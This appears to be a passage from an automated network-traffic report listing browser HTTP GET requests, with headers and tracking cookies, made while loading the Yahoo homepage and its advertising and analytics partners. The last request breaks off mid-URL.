Source: global traffic	HTTP traffic detected: GET /ups/58782/cms?partner_id=ADOBE&orig=ono&redir2=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
Source: global traffic	HTTP traffic detected: GET /sp-frame.html?referrer=https%3A//opus.analytics.yahoo.com/tag/opus-frame.html%3Freferrer%3Dhttps%3A//www.yahoo.com/%26tbla_id%3D53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51%26gam_id%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T%7EA%26axids%3Dgam%3Dy-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T%7EA%26dv360%3DeS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B%26ydsp%3Dy-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG%7EA%26gdpr%3Dfalse%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26us_privacy%3D1YNN%26reset_idsync%3D1 HTTP/1.1Host: tag.idsync.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://opus.analytics.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=58160&ovsid=LR8EUG12-1F-5JG4&gdpr=0 HTTP/1.1Host: hb.yahoo.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/7k_5EgstRC3hBqjwh10Fsw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/0835551b5ac06413bd0f5c694c81d5ce.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_td_api/beacon/info?event=activate&spaceId=1197802003&version=1.1.52&scope=https://www.yahoo.com/&subscription_endpoint=null&metadataTime=2&src=notification-sw&code=info HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/service-worker.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58692/cms?partner_id=NEUAR&orig=ono HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
Source: global traffic	HTTP traffic detected: GET /ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC=19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=mn&ovsid=3479308330180239000V10&axid_e= HTTP/1.1Host: hb.yahoo.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1
Source: global traffic	HTTP traffic detected: GET /rtb/yhb?cid=8YHBJ3BJ0 HTTP/1.1Host: m.hb.yahoo.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-result-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-error-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /pv/static/misc/voice-close-202105050733.wav HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept-Encoding: identity;q=1, ;q=0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: audioReferer: https://www.yahoo.com/Accept-Language: en-US,en;q=0.9Range: bytes=0-
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&rn=9.953686578481904 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=2&rn=9.953686578481904 HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-Dap6dMlE2uJjvcyESihgqS2ruuPsXZby~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&us_privacy=1YNN HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/RAIN_AND_SNOW.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=0gast8pipu9uc&m_mode=json&designtype=default HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=30646?dpuuid=y-kyh5EEpE2pGwKo.MGM2QUwjcaNgs4d8co7g-~A&redir=https%3A%2F%2Fups.analytics.yahoo.com%2Fups%2F58782%2Fcms%3Fpartner_id%3DADOBE%26_origin%3Dfalse%26_redirect%3Dfalse%26_hosted_id%3D%24%7BDD_UUID%7D HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1704929233964 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=3448363400861391&correlator=2735517657550639&eid=31080125%2C31080256%2C95320408%2C31079784%2C31080127%2C31079527%2C31061691%2C31061692%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202401030101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&iu_parts=22888152279%2Cus%2Cyhp%2Cmain%2Cdt%2Cus_yhp_main_dt_top_right%2Cus_yhp_main_dt_as_mid_right_a%2Cus_yhp_main_dt_top_center%2Cus_yhp_main_dt_as_mid_right_b%2Cus_yhp_main_dt_as_mid_right_c&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8%2C%2F0%2F1%2F2%2F3%2F4%2F9&prev_iu_szs=300x250%7C300x600%2C300x250%2C970x250%7C3x1%7C728x90%2C300x250%2C300x600%7C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1%2C1&eri=4&sc=1&cookie_enabled=1&abxe=1&dt=1704929234966&adxs=951%2C-9%2C147%2C-9%2C951&adys=1012%2C-9%2C129%2C-9%2C1787&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1%7C-1%7C0%7C-1%7C2&ucis=1%7C2%7C3%7C4%7C5&oid=2&tos=~~~~&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fwww.yahoo.com%2F&rumc=3448363400861391&rume=1&vis=1&psz=292x2513%7C0x-1%7C1280x110%7C0x-1%7C300x600&msz=292x600%7C0x-1%7C1280x110%7C0x-1%7C300x0&fws=4%2C2%2C2052%2C2%2C4&ohw=1263%2C0%2C1263%2C0%2C300&ga_vid=1527460430.1704929235&ga_sid=1704929235&ga_hid=1141609210&ga_fc=false&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFsyLFtbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF90b3BfcmlnaHQiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYSIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X3RvcF9jZW50ZXIiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYiIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X2FzX21pZF9yaWdodF9jIixbXV1dXV0.&dlt=1704929227924&idt=5442&prev_scp=loc%3Dtop_right%26y_pgid%3D1%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%